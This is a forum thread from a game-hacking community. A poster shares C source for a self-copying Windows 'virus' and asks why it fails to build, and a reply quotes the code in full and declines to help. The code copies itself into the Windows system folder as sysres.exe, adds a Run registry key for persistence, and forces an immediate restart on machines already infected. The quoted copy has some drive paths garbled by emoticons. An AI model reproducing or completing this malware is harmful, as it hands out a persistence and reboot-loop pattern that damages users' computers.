Jump to content
Welcome, Guest
Existing user? Sign In

Sign In



Sign Up
The MatriX
  • Welcome To Ghbsys
  • CS GO Streaming Version is released. Have fun streaming while cheating!
  • Have a Payment Issue? Send us a Support ticket.
  • Make a thread if you need support or join our discord for live support.
  • Have Suggestions? Make a thread and you'll earn Ghbsys Points for implemented suggestions.
  • Join our discord to stay well connected! Don't forget to integrate your discord to the site
  • Welcome to [GHB] - GAmEhAcKbAsTaRdS Forum

    Welcome to [GHB] - GAmEhAcKbAsTaRdS Forum, like most online communities you must register to view or post in our community, but don't worry this is a simple free process that requires minimal information for you to signup. Be apart of [GHB] - GAmEhAcKbAsTaRdS Forum by signing in or creating an account.
    • Start new topics and reply to others
    • Subscribe to topics and forums to get email updates
    • Get your own profile page and make new friends
    • Send personal messages to other members.

    C++ CONTSTANT ERRORS!


    Scream.
     Share

    Recommended Posts

    Hello

     

    I Need serious help. Every time i try something on C++ The build fails! I Dont know why! I Dont know much about C++ But i am quite willing to learn

     

    Here is the source code for what i am trying at the moment: I Am not trying to circulate this and don't build this yourself because it can do serious damage to your computer:

     

    #include<stdio.h>

    #include<dos.h>

    #include<dir.h>

     

    int found,drive_no;char buff[128];

     

    void findroot()

    {

    int done;

    struct ffblk ffblk; //File block structure

    done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive

    if(done==0)

    {

    done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not

    if(done==0)

    {

    found=1; //means that the system is already infected

    return;

    }

    drive_no=1;

    return;

    }

    done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);

    if

    (done==0)

    {

    found=1;return;

    }

    drive_no=2;

    return;

    }

    done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);

    if(done==0)

    {

    found=1;

    return;

    }

    drive_no=3;

    return;

    }

    done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);

    if(done==0)

    {

    found=1;

    return;

    }

    drive_no=4;

    return;

    }

    else

    exit(0);

    }

     

    void main()

    {

    FILE *self,*target;

    findroot();

    if(found==0) //if the system is not already infected

    {

    self=fopen(_argv[0],”rb”); //The virus file open’s itself

    switch(drive_no)

    {

    case 1:

    target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup

    break;

     

    case 2:

    target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    D:\\windows\\system\\sysres.exe”);

    break;

     

    case 3:

    target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    E:\\windows\\system\\sysres.exe”);

    break;

     

    case 4:

    target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    F:\\windows\\system\\sysres.exe”);

    break;

     

    default:

    exit(0);

    }

     

    while(fread(buff,1,1,self)>0)

    fwrite(buff,1,1,target);

    fcloseall();

    }

     

    else

    system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart

    }

    Edited by Scream.
    Link to comment
    Share on other sites

    • 1 month later...
    Hello

     

    I Need serious help. Every time i try something on C++ The build fails! I Dont know why! I Dont know much about C++ But i am quite willing to learn

     

    Here is the source code for what i am trying at the moment: I Am not trying to circulate this and don't build this yourself because it can do serious damage to your computer:

     

    #include<stdio.h>

    #include<dos.h>

    #include<dir.h>

     

    int found,drive_no;char buff[128];

     

    void findroot()

    {

    int done;

    struct ffblk ffblk; //File block structure

    done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive

    if(done==0)

    {

    done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not

    if(done==0)

    {

    found=1; //means that the system is already infected

    return;

    }

    drive_no=1;

    return;

    }

    done=findfirst(“xD\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“:D\\windows\\system\\sysres.exe”,&ffblk,0);

    if

    (done==0)

    {

    found=1;return;

    }

    drive_no=2;

    return;

    }

    done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);

    if(done==0)

    {

    found=1;

    return;

    }

    drive_no=3;

    return;

    }

    done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);

    if(done==0)

    {

    done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);

    if(done==0)

    {

    found=1;

    return;

    }

    drive_no=4;

    return;

    }

    else

    exit(0);

    }

     

    void main()

    {

    FILE *self,*target;

    findroot();

    if(found==0) //if the system is not already infected

    {

    self=fopen(_argv[0],”rb”); //The virus file open’s itself

    switch(drive_no)

    {

    case 1:

    target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup

    break;

     

    case 2:

    target=fopen(“:D\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    O.o\\windows\\system\\sysres.exe”);

    break;

     

    case 3:

    target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    E:\\windows\\system\\sysres.exe”);

    break;

     

    case 4:

    target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);

    system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\

    CurrentVersion\\Run \/v sres \/t REG_SZ \/d

    F:\\windows\\system\\sysres.exe”);

    break;

     

    default:

    exit(0);

    }

     

    while(fread(buff,1,1,self)>0)

    fwrite(buff,1,1,target);

    fcloseall();

    }

     

    else

    system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart

    }

     

     

    Number 1 - I could help you

    Number 2 - But i won't

    Number 3 - Bcuz you should not be making that >.<

    Link to comment
    Share on other sites

    Guest
    This topic is now closed to further replies.
     Share

    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...